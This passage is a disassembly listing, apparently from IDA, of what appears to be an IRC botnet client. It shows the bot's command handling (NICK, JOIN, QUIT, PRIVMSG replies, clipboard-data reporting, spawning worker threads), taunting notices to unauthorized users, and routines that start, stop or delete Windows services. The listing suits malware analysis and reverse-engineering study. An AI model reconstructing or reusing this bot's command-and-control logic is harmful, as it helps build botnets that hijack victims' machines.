aClipboardData ; "-[Clipboard Data]-" push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 add esp, 14h loc_40DA1F: ; CODE XREF: seg000:0040DA03j push ebx push dword ptr [ebp-4] call sub_406F56 push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 push offset dword_42A750 jmp loc_40DCB3 ; --------------------------------------------------------------------------- loc_40DA41: ; CODE XREF: seg000:0040A529j ; seg000:0040A53Ej push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_406977 jmp loc_40DCD4 ; --------------------------------------------------------------------------- loc_40DA5A: ; CODE XREF: seg000:0040A4FFj ; seg000:0040A514j push dword ptr [ebp+esi-9Ch] push dword ptr [ebp-4] push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_408978 jmp loc_40DCD4 ; --------------------------------------------------------------------------- loc_40DA77: ; CODE XREF: seg000:0040A4D5j ; seg000:0040A4EAj or edi, 0FFFFFFFFh call ds:dword_41C04C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi-9Ch] cmp esi, ebx mov [ebp+8], eax jz short loc_40DAA0 push esi call sub_410A7F pop ecx mov edi, eax loc_40DAA0: ; CODE XREF: seg000:0040DA95j mov eax, [ebp+8] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40DAB9 cmp edi, 0FFFFFFFFh jnz loc_40E148 loc_40DAB9: ; CODE XREF: seg000:0040DAAEj push ebx call sub_40787D push eax lea eax, [ebp-2E4h] push offset dword_42A724 push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push dword ptr [ebp-4] push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 lea eax, [ebp-2E4h] push eax call sub_407E0E loc_40DAF6: ; CODE XREF: seg000:0040BE1Fj add esp, 28h jmp loc_40E148 ; --------------------------------------------------------------------------- loc_40DAFE: ; CODE XREF: seg000:0040A4ABj ; seg000:0040A4C0j push 1Eh call sub_4101FF test eax, eax pop ecx jle short loc_40DB32 cmp [ebp-8], ebx jnz loc_40980B push ebx push dword ptr [ebp-4] push offset dword_42A6F0 push dword ptr [ebp-98h] loc_40DB22: ; CODE XREF: seg000:00409C19j push dword ptr [ebp+0Ch] call sub_40E367 add esp, 14h jmp loc_40980B ; --------------------------------------------------------------------------- loc_40DB32: ; CODE XREF: seg000:0040DB08j push dword ptr [ebp-98h] lea eax, [ebp-4F8h] push 80h push eax call sub_410A8A mov eax, [ebp+0Ch] mov esi, [ebp+esi-9Ch] mov [ebp-4FCh], eax mov eax, [ebp-4] mov [ebp-470h], eax mov eax, [ebp-8] add esp, 0Ch cmp esi, ebx mov [ebp-46Ch], eax mov [ebp-474h], ebx jz short loc_40DB93 push esi push offset aFull ; "full" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40DB93 mov dword ptr [ebp-474h], 1 loc_40DB93: ; CODE XREF: seg000:0040DB76j ; seg000:0040DB87j lea eax, [ebp-2E4h] push offset dword_42A6B4 push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push 1Eh push eax call sub_40FFB7 add esp, 14h mov [ebp-478h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4FCh] push ebx push eax push offset sub_40F59E push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-478h] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40DC01 loc_40DBEB: ; CODE XREF: seg000:0040DBFFj cmp [ebp-468h], ebx jnz loc_40B462 push 32h call ds:dword_41C058 ; Sleep jmp short loc_40DBEB ; --------------------------------------------------------------------------- loc_40DC01: ; CODE XREF: seg000:0040DBE9j call ds:dword_41C068 ; RtlGetLastWin32Error push eax lea eax, [ebp-2E4h] push offset dword_42A664 push eax call sub_41050B add esp, 0Ch jmp loc_40B462 ; --------------------------------------------------------------------------- loc_40DC21: ; CODE XREF: seg000:0040A481j ; seg000:0040A496j cmp [ebp-8], ebx jnz short loc_40DC40 push ebx push dword ptr [ebp-4] push offset dword_42A638 push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 add esp, 14h loc_40DC40: ; CODE XREF: seg000:0040DC24j push dword ptr [ebp+0Ch] call ds:dword_430828 ; closesocket call ds:dword_430700 ; WSACleanup call loc_4070D9 push ebx call ds:dword_41C0F8 ; ExitProcess loc_40DC5B: ; CODE XREF: seg000:0040A457j ; seg000:0040A46Cj push ebx lea eax, [ebp-2E4h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push eax call sub_40799C pop ecx pop ecx push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 push offset dword_42A60C jmp short loc_40DCB3 ; --------------------------------------------------------------------------- loc_40DC86: ; CODE XREF: seg000:0040A42Dj ; seg000:0040A442j push ebx lea eax, [ebp-2E4h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push dword ptr [ebp+24h] push eax call sub_407C50 add esp, 0Ch push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 push offset dword_42A5E0 loc_40DCB3: ; CODE XREF: seg000:0040DA3Cj ; seg000:0040DC84j call sub_407E0E loc_40DCB8: ; CODE XREF: seg000:0040CB2Fj add esp, 18h jmp loc_40E148 ; --------------------------------------------------------------------------- loc_40DCC0: ; CODE XREF: seg000:0040A403j ; seg000:0040A418j push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_407EAE loc_40DCD4: ; CODE XREF: seg000:00409755j ; seg000:0040DA55j ... add esp, 10h jmp loc_40980B ; --------------------------------------------------------------------------- loc_40DCDC: ; CODE XREF: seg000:0040A3D9j ; seg000:0040A3EEj cmp [ebp-0Ch], ebx mov [ebp-374h], bl jz short loc_40DD1B mov esi, [ebp+esi-9Ch] cmp esi, ebx jz short loc_40DD1B push esi push dword ptr [ebp-0Ch] call sub_410AE0 pop ecx cmp eax, ebx pop ecx jz short loc_40DD1B push eax push offset aS_1 ; "%s" lea eax, [ebp-374h] push 80h push eax call sub_410A8A add esp, 10h loc_40DD1B: ; CODE XREF: seg000:0040DCE5j ; seg000:0040DCF0j ... push dword ptr [ebp-98h] lea eax, [ebp-3F4h] push 80h push eax call sub_410A8A mov eax, [ebp+0Ch] push offset dword_42A5B4 mov [ebp-3F8h], eax mov eax, [ebp-4] mov [ebp-2F0h], eax mov eax, [ebp-8] mov [ebp-2ECh], eax lea eax, [ebp-2E4h] push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push 1Ch push eax call sub_40FFB7 add esp, 20h mov [ebp-2F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-3F8h] push ebx push eax push offset sub_407EEE push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-2F4h] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40DDBB loc_40DDA5: ; CODE XREF: seg000:0040DDB9j cmp [ebp-2E8h], ebx jnz loc_40980B push 32h call ds:dword_41C058 ; Sleep jmp short loc_40DDA5 ; --------------------------------------------------------------------------- loc_40DDBB: ; CODE XREF: seg000:0040DDA3j call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset dword_42A568 jmp loc_40E2CF ; --------------------------------------------------------------------------- loc_40DDCC: ; CODE XREF: seg000:0040A3AFj ; seg000:0040A3C4j push dword ptr [ebp-4] push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_407D96 push offset dword_42A53C call sub_407E0E loc_40DDE7: ; CODE XREF: seg000:0040D9ACj add esp, 10h jmp loc_40E148 ; --------------------------------------------------------------------------- loc_40DDEF: ; CODE XREF: seg000:0040A385j ; seg000:0040A39Aj push dword ptr [ebp-98h] lea eax, [ebp-4F8h] push 80h push eax call sub_410A8A mov eax, [ebp+0Ch] mov esi, [ebp+esi-9Ch] mov [ebp-4FCh], eax mov eax, [ebp-4] mov [ebp-470h], eax mov eax, [ebp-8] add esp, 0Ch cmp esi, ebx mov [ebp-46Ch], eax jz short loc_40DE49 push offset dword_42A538 push esi call sub_410930 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp-474h], eax jmp short loc_40DE4F ; --------------------------------------------------------------------------- loc_40DE49: ; CODE XREF: seg000:0040DE2Dj mov [ebp-474h], ebx loc_40DE4F: ; CODE XREF: seg000:0040DE47j lea eax, [ebp-2E4h] push offset dword_42A508 push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push 1Fh push eax call sub_40FFB7 add esp, 14h mov [ebp-478h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4FCh] push ebx push eax push offset word_410022 push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-478h] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40DEB9 loc_40DEA7: ; CODE XREF: seg000:0040DEB7j cmp [ebp-468h], ebx jnz short loc_40DED4 push 32h call ds:dword_41C058 ; Sleep jmp short loc_40DEA7 ; --------------------------------------------------------------------------- loc_40DEB9: ; CODE XREF: seg000:0040DEA5j call ds:dword_41C068 ; RtlGetLastWin32Error push eax lea eax, [ebp-2E4h] push offset dword_42A4BC push eax call sub_41050B add esp, 0Ch loc_40DED4: ; CODE XREF: seg000:0040CE41j ; seg000:0040CE59j ... lea eax, [ebp-2E4h] push eax loc_40DEDB: ; CODE XREF: seg000:0040A5C6j call sub_407E0E pop ecx jmp loc_40E148 ; --------------------------------------------------------------------------- loc_40DEE6: ; CODE XREF: seg000:0040A309j ; seg000:0040A31Ej push offset aIds44433 ; "ids44433" lea eax, [ebp-2E4h] push offset dword_42A490 push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push dword ptr [ebp-4] push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 add esp, 20h jmp loc_40C8D7 ; --------------------------------------------------------------------------- loc_40DF1D: ; CODE XREF: seg000:0040A2DFj ; seg000:0040A2F4j push ds:dword_45EBC8 call sub_40787D push eax lea eax, [ebp-2E4h] push offset dword_42A450 push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push dword ptr [ebp-4] push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 add esp, 24h jmp loc_40C8D7 ; --------------------------------------------------------------------------- loc_40DF5B: ; CODE XREF: seg000:0040A2B5j ; seg000:0040A2CAj mov esi, [ebp+esi-9Ch] cmp esi, ebx jz short loc_40DF8D cmp [ebp-0Ch], ebx jz short loc_40DF9C push esi push dword ptr [ebp-0Ch] call sub_410AE0 pop ecx cmp eax, ebx pop ecx jz short loc_40DF9C push eax push offset aQuitS ; "QUIT :%s\r\n" push dword ptr [ebp+0Ch] call sub_40E321 add esp, 0Ch jmp short loc_40DF9C ; --------------------------------------------------------------------------- loc_40DF8D: ; CODE XREF: seg000:0040DF64j push offset aQuitLater ; "QUIT :later\r\n" push dword ptr [ebp+0Ch] call sub_40E321 pop ecx pop ecx loc_40DF9C: ; CODE XREF: seg000:0040DF69j ; seg000:0040DF78j ... push 0FFFFFFFEh jmp loc_40980D ; --------------------------------------------------------------------------- loc_40DFA3: ; CODE XREF: seg000:0040A28Bj ; seg000:0040A2A0j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push dword ptr [ebp+0Ch] call sub_40E321 push offset dword_42A3FC call sub_407E0E add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40980E ; --------------------------------------------------------------------------- loc_40DFC5: ; CODE XREF: seg000:0040A261j ; seg000:0040A276j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push dword ptr [ebp+0Ch] call sub_40E321 push offset dword_42A3B8 call sub_407E0E add esp, 0Ch xor eax, eax jmp loc_40980E ; --------------------------------------------------------------------------- loc_40DFE6: ; CODE XREF: seg000:0040A237j ; seg000:0040A24Cj push dword ptr [ebp-4] push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_404EB9 loc_40DFF7: ; CODE XREF: seg000:0040CA9Bj add esp, 0Ch jmp loc_40E148 ; --------------------------------------------------------------------------- loc_40DFFF: ; CODE XREF: seg000:0040A192j ; seg000:0040A1A7j push dword ptr [ebp+esi-9Ch] push 1Eh push offset dword_42A3A8 push offset dword_42A39C loc_40E012: ; CODE XREF: seg000:0040A036j ; seg000:0040A05Fj ... push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_410245 add esp, 20h jmp loc_40980B ; --------------------------------------------------------------------------- loc_40E02E: ; CODE XREF: seg000:00409FF7j ; seg000:0040A00Cj mov esi, [ebp+esi-9Ch] cmp esi, ebx jz short loc_40E088 push esi call sub_410A7F cmp eax, ebx pop ecx jl short loc_40E080 cmp eax, 2 jge short loc_40E080 mov edx, [ebp+20h] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40E078 lea eax, [esi+1] push eax lea eax, [ebp-2E4h] push offset dword_42CB38 push eax call sub_41050B add esp, 0Ch mov [esi], bl jmp loc_40C65C ; --------------------------------------------------------------------------- loc_40E078: ; CODE XREF: seg000:0040E057j push eax push offset dword_42A35C jmp short loc_40E0C5 ; --------------------------------------------------------------------------- loc_40E080: ; CODE XREF: seg000:0040E042j ; seg000:0040E047j push eax push offset dword_42A31C jmp short loc_40E0C5 ; --------------------------------------------------------------------------- loc_40E088: ; CODE XREF: seg000:0040E037j mov edi, [ebp+20h] xor esi, esi loc_40E08D: ; CODE XREF: seg000:0040E0A9j push dword ptr [ebp-0A0h] push edi call sub_410930 pop ecx test eax, eax pop ecx jz short loc_40E0B0 inc esi add edi, 80h cmp esi, 2 jl short loc_40E08D jmp loc_40C65C ; --------------------------------------------------------------------------- loc_40E0B0: ; CODE XREF: seg000:0040E09Dj mov eax, [ebp+20h] shl esi, 7 mov [esi+eax], bl lea eax, [ebp-0C4h] push eax push offset dword_42CB38 loc_40E0C5: ; CODE XREF: seg000:0040D13Ej ; seg000:0040D7D8j ... lea eax, [ebp-2E4h] push eax call sub_41050B add esp, 0Ch jmp loc_40C65C ; --------------------------------------------------------------------------- loc_40E0D9: ; CODE XREF: seg000:00409FCDj ; seg000:00409FE2j push dword ptr [ebp-9Ch] push offset a332 ; "332" call sub_410930 pop ecx test eax, eax pop ecx jz short loc_40E148 call sub_410180 push ebx call ds:dword_41C0F8 ; ExitProcess loc_40E0FB: ; CODE XREF: seg000:00409FA3j ; seg000:00409FB8j push dword ptr [ebp+esi-9Ch] xor eax, eax cmp [ebp-9A4h], bl setnz al push eax lea eax, [ebp-464h] push ds:dword_423014 push eax call sub_40FA4E lea eax, [ebp-464h] push eax push offset aNickS ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_40E321 lea eax, [ebp-464h] push eax push offset dword_42A2E4 call sub_407E82 loc_40E145: ; CODE XREF: seg000:0040B5CAj add esp, 24h loc_40E148: ; CODE XREF: seg000:004099D3j ; seg000:004099DFj ... mov eax, [ebp+2Ch] jmp loc_40980E ; --------------------------------------------------------------------------- loc_40E150: ; CODE XREF: seg000:00409A62j ; seg000:00409A77j mov esi, [ebp+esi-9Ch] cmp esi, ebx mov [ebp+8], esi jz loc_40980B cmp [ebp-0A8h], ebx jnz loc_40980B push offset dword_42625C push dword ptr [ebp-0A0h] call sub_411C60 mov esi, eax push offset dword_42F3E4 push ebx inc esi call sub_411C60 push offset asc_42A2E0 ; "~" push eax call sub_411C60 push dword ptr [ebp+8] mov edi, eax push offset aHi ; "hi" call sub_410930 add esp, 20h test eax, eax jz short loc_40E1E6 lea eax, [ebp-0C4h] push edi push eax lea eax, [ebp-0C4h] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push dword ptr [ebp+0Ch] call sub_40E321 lea eax, [ebp-0C4h] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push dword ptr [ebp+0Ch] call sub_40E321 push edi push esi push offset dword_42A254 jmp short loc_40E242 ; --------------------------------------------------------------------------- loc_40E1E6: ; CODE XREF: seg000:0040E1ABj mov dword ptr [ebp+2Ch], offset off_4230D8 loc_40E1ED: ; CODE XREF: seg000:0040E209j mov eax, [ebp+2Ch] push edi push dword ptr [eax] call sub_410310 pop ecx test eax, eax pop ecx jnz short loc_40E256 add dword ptr [ebp+2Ch], 4 cmp dword ptr [ebp+2Ch], offset off_4230DC jl short loc_40E1ED lea eax, [ebp-0C4h] push edi push eax lea eax, [ebp-0C4h] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push dword ptr [ebp+0Ch] call sub_40E321 lea eax, [ebp-0C4h] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push dword ptr [ebp+0Ch] call sub_40E321 push edi push esi push offset dword_42A214 loc_40E242: ; CODE XREF: seg000:0040E1E4j lea eax, [ebp-2E4h] push eax call sub_41050B add esp, 30h jmp loc_40C67D ; --------------------------------------------------------------------------- loc_40E256: ; CODE XREF: seg000:0040E1FCj mov edi, [ebp+20h] xor esi, esi loc_40E25B: ; CODE XREF: seg000:0040E285j cmp [ebp+8], ebx jz loc_40980B cmp [edi], bl jnz short loc_40E27B push dword ptr [ebp+8] push offset aHi ; "hi" call sub_410930 pop ecx test eax, eax pop ecx jz short loc_40E28C loc_40E27B: ; CODE XREF: seg000:0040E266j inc esi add edi, 80h cmp esi, 2 jl short loc_40E25B jmp loc_40980B ; --------------------------------------------------------------------------- loc_40E28C: ; CODE XREF: seg000:0040E279j shl esi, 7 add esi, [ebp+20h] lea eax, [ebp-0A94h] push 7Fh push eax push esi call sub_411D00 add esp, 0Ch cmp [ebp-8], ebx jnz short loc_40E2C3 push ebx push dword ptr [ebp-4] push offset dword_42A1E0 push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 add esp, 14h loc_40E2C3: ; CODE XREF: seg000:0040E2A7j lea eax, [ebp-0C4h] push eax push offset dword_42A1AC loc_40E2CF: ; CODE XREF: seg000:0040992Bj ; seg000:0040DDC7j call sub_407E82 pop ecx loc_40E2D5: ; CODE XREF: seg000:0040B46Ej pop ecx jmp loc_40980B ; --------------------------------------------------------------------------- loc_40E2DB: ; CODE XREF: seg000:0040959Ej ; seg000:004095B3j push dword ptr [ebp+18h] push offset aUserhostS ; "USERHOST %s\r\n" push dword ptr [ebp+0Ch] call sub_40E321 push offset dword_4230AC push dword ptr [ebp+18h] push offset aModeSS ; "MODE %s %s\r\n" push dword ptr [ebp+0Ch] call sub_40E321 push dword ptr [ebp+14h] push dword ptr [ebp+10h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_40E321 add esp, 2Ch mov ds:dword_45ED48, edi jmp loc_40962D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E321 proc near ; CODE XREF: sub_409218+3Dp ; seg000:0040955Bp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41232F add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_4307E0 ; send leave retn sub_40E321 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E367 proc near ; CODE XREF: start+88p ; seg000:004014BDp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40E382 mov edi, offset aPrivmsg ; "PRIVMSG" loc_40E382: ; CODE XREF: sub_40E367+14j push edi call sub_410B60 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_410B60 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_1 ; "%s" push esi push eax call sub_410A8A lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_42CC40 push eax call sub_41050B add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_4307E0 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_40E400 push 7D0h call ds:dword_41C058 ; Sleep locret_40E400: ; CODE XREF: sub_40E367+8Cj leave retn sub_40E367 endp ; =============== S U B R O U T I N E ======================================= sub_40E402 proc near ; CODE XREF: seg000:loc_40AA82p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_40E467 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push ds:dword_42CC58[esi] push edi push eax call sub_40E489 add esp, 14h test eax, eax jnz short loc_40E44A push edi push ds:off_42CC54[esi] mov esi, offset dword_45F410 push offset dword_42CD8C push esi call sub_41050B add esp, 10h jmp short loc_40E484 ; --------------------------------------------------------------------------- loc_40E44A: ; CODE XREF: sub_40E402+2Aj push eax call sub_40E52B push eax push edi mov esi, offset dword_45F410 push offset dword_42CD50 push esi call sub_41050B add esp, 14h jmp short loc_40E484 ; --------------------------------------------------------------------------- loc_40E467: ; CODE XREF: sub_40E402+Cj lea eax, [eax+eax*2] mov esi, offset dword_45F410 push ds:off_42CC50[eax*4] push offset dword_42CD18 push esi call sub_41050B add esp, 0Ch loc_40E484: ; CODE XREF: sub_40E402+46j ; sub_40E402+63j mov eax, esi pop edi pop esi retn sub_40E402 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E489 proc near ; CODE XREF: sub_40E402+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call ds:dword_430788 ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_40E4B0 call ds:dword_41C068 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_40E525 ; --------------------------------------------------------------------------- loc_40E4B0: ; CODE XREF: sub_40E489+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call ds:dword_43068C ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_40E4D0 call ds:dword_41C068 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_40E51D ; --------------------------------------------------------------------------- loc_40E4D0: ; CODE XREF: sub_40E489+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_40E503 cmp eax, 3 jz short loc_40E4F4 jle short loc_40E516 cmp eax, 6 jg short loc_40E516 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call ds:dword_4306F4 ; ControlService jmp short loc_40E50A ; --------------------------------------------------------------------------- loc_40E4F4: ; CODE XREF: sub_40E489+52j push [ebp+arg_10] push [ebp+arg_C] push esi call ds:dword_430694 ; StartServiceA jmp short loc_40E50A ; --------------------------------------------------------------------------- loc_40E503: ; CODE XREF: sub_40E489+4Dj push esi call ds:dword_4306F8 ; DeleteService loc_40E50A: ; CODE XREF: sub_40E489+69j ; sub_40E489+78j test eax, eax jnz short loc_40E516 call ds:dword_41C068 ; RtlGetLastWin32Error mov ebx, eax loc_40E516: ; CODE XREF: sub_40E489+54j ; sub_40E489+59j ... push esi call ds:dword_4306A8 ; CloseServiceHandle loc_40E51D: ; CODE XREF: sub_40E489+45j push edi call ds:dword_4306A8 ; CloseServiceHandle pop esi loc_40E525: ; CODE XREF: sub_40E489+25j mov eax, ebx pop edi pop ebx leave retn sub_40E489 endp ; =============== S U B R O U T I N E ======================================= sub_40E52B proc near ; CODE XREF: sub_40E402+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_40E5E0 jz loc_40E5D9 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_40E5A3 jz short loc_40E599 mov ecx, eax sub ecx, 3 jz short loc_40E58F dec ecx dec ecx jz short loc_40E585 dec ecx jz short loc_40E57B sub ecx, 51h jz short loc_40E571 sub ecx, 24h jnz loc_40E656 ; default ; jumptable 0040E5FD cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_40E648 ; --------------------------------------------------------------------------- loc_40E571: ; CODE XREF: sub_40E52B+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_40E648 ; --------------------------------------------------------------------------- loc_40E57B: ; CODE XREF: sub_40E52B+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_40E648 ; --------------------------------------------------------------------------- loc_40E585: ; CODE XREF: sub_40E52B+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_40E648 ; --------------------------------------------------------------------------- loc_40E58F: ; CODE XREF: sub_40E52B+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_40E648 ; --------------------------------------------------------------------------- loc_40E599: ; CODE XREF: sub_40E52B+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_40E648 ; --------------------------------------------------------------------------- loc_40E5A3: ; CODE XREF: sub_40E52B+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_40E5D2 dec ecx jz short loc_40E5CB dec ecx jz short loc_40E5C4 dec ecx jnz loc_40E656 ; default ; jumptable 0040E5FD cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_40E648 ; --------------------------------------------------------------------------- loc_40E5C4: ; CODE XREF: sub_40E52B+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_40E648 ; --------------------------------------------------------------------------- loc_40E5CB: ; CODE XREF: sub_40E52B+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_40E648 ; --------------------------------------------------------------------------- loc_40E5D2: ; CODE XREF: sub_40E52B+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_40E648 ; --------------------------------------------------------------------------- loc_40E5D9: ; CODE XREF: sub_40E52B+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_40E648 ; --------------------------------------------------------------------------- loc_40E5E0: ; CODE XREF: sub_40E52B+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_40E656 ; default ; jumptable 0040E5FD cases 1,5,6,8,9,12,13,15,16 jz short loc_40E643 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_40E656 ; default ; jumptable 0040E5FD cases 1,5,6,8,9,12,13,15,16 movzx ecx, ds:byte_40E697[ecx] jmp ds:off_40E66F[ecx*4] ; switch jump loc_40E604: ; DATA XREF: seg000:off_40E66Fo push offset aTheSpecifiedDa ; jumptable 0040E5FD case 7 jmp short loc_40E648 ; --------------------------------------------------------------------------- loc_40E60B: ; CODE XREF: sub_40E52B+D2j ; DATA XREF: seg000:off_40E66Fo push offset aTheServiceDepe ; jumptable 0040E5FD case 17 jmp short loc_40E648 ; --------------------------------------------------------------------------- loc_40E612: ; CODE XREF: sub_40E52B+D2j ; DATA XREF: seg000:off_40E66Fo push offset aTheServiceDe_0 ; jumptable 0040E5FD case 10 jmp short loc_40E648 ; --------------------------------------------------------------------------- loc_40E619: ; CODE XREF: sub_40E52B+D2j ; DATA XREF: seg000:off_40E66Fo push offset aTheServiceHasB ; jumptable 0040E5FD case 0 jmp short loc_40E648 ; --------------------------------------------------------------------------- loc_40E620: ; CODE XREF: sub_40E52B+D2j ; DATA XREF: seg000:off_40E66Fo push offset aTheSpecified_0 ; jumptable 0040E5FD case 2 jmp short loc_40E648 ; --------------------------------------------------------------------------- loc_40E627: ; CODE XREF: sub_40E52B+D2j ; DATA XREF: seg000:off_40E66Fo push offset aTheServiceCoul ; jumptable 0040E5FD case 11 jmp short loc_40E648 ; --------------------------------------------------------------------------- loc_40E62E: ; CODE XREF: sub_40E52B+D2j ; DATA XREF: seg000:off_40E66Fo push offset aTheServiceHa_0 ; jumptable 0040E5FD case 14 jmp short loc_40E648 ; --------------------------------------------------------------------------- loc_40E635: ; CODE XREF: sub_40E52B+D2j ; DATA XREF: seg000:off_40E66Fo push offset aTheRequested_1 ; jumptable 0040E5FD case 3 jmp short loc_40E648 ; --------------------------------------------------------------------------- loc_40E63C: ; CODE XREF: sub_40E52B+D2j ; DATA XREF: seg000:off_40E66Fo push offset aTheServiceHasN ; jumptable 0040E5FD case 4 jmp short loc_40E648 ; --------------------------------------------------------------------------- loc_40E643: ; CODE XREF: sub_40E52B+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_40E648: ; CODE XREF: sub_40E52B+41j ; sub_40E52B+4Bj ... push offset dword_45ED50 call sub_41050B pop ecx pop ecx jmp short loc_40E669 ; --------------------------------------------------------------------------- loc_40E656: ; CODE XREF: sub_40E52B+36j ; sub_40E52B+89j ... push eax ; default ; jumptable 0040E5FD cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_45ED50 call sub_41050B add esp, 0Ch loc_40E669: ; CODE XREF: sub_40E52B+129j mov eax, offset dword_45ED50 retn sub_40E52B endp ; --------------------------------------------------------------------------- off_40E66F dd offset loc_40E619 ; DATA XREF: sub_40E52B+D2r dd offset loc_40E620 ; jump table for switch statement dd offset loc_40E635 dd offset loc_40E63C dd offset loc_40E604 dd offset loc_40E612 dd offset loc_40E627 dd offset loc_40E62E dd offset 